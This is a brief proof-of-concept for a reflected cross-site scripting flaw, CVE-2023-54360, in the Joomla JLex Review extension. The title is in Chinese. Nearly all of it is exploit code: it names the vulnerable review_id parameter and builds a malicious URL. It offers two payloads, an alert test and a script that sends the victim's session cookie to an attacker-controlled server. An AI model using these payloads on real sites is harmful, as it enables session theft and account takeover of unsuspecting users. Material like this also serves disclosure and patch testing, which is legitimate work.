CVE-2023-54360 Joomla JLex Review 反射型XSS漏洞

// Proof of Concept for CVE-2023-54360 // Vulnerable Parameter: review_id // The application reflects the 'review_id' parameter value directly into the HTML response without sanitization. // An attacker can craft a malicious URL to execute JavaScript in the victim's browser. // Example of a vulnerable URL: // http://target.com/index.php?option=com_jlexreview&view=detail&review_id=[PAYLOAD] // Payload 1: Simple script tag to test vulnerability var payload1 = "<script>alert('CVE-2023-54360 XSS');</script>"; // Payload 2: Stealing session cookies (simulated) var payload2 = "<script>fetch('http://attacker-controlled-server.com/log?c='+document.cookie);</script>"; // Construct the exploit link var targetUrl = "http://target.com/index.php?option=com_jlexreview&view=detail&review_id="; // Final exploit URL (using payload1 for demonstration) var exploitUrl = targetUrl + encodeURIComponent(payload1); console.log("Exploit URL: " + exploitUrl);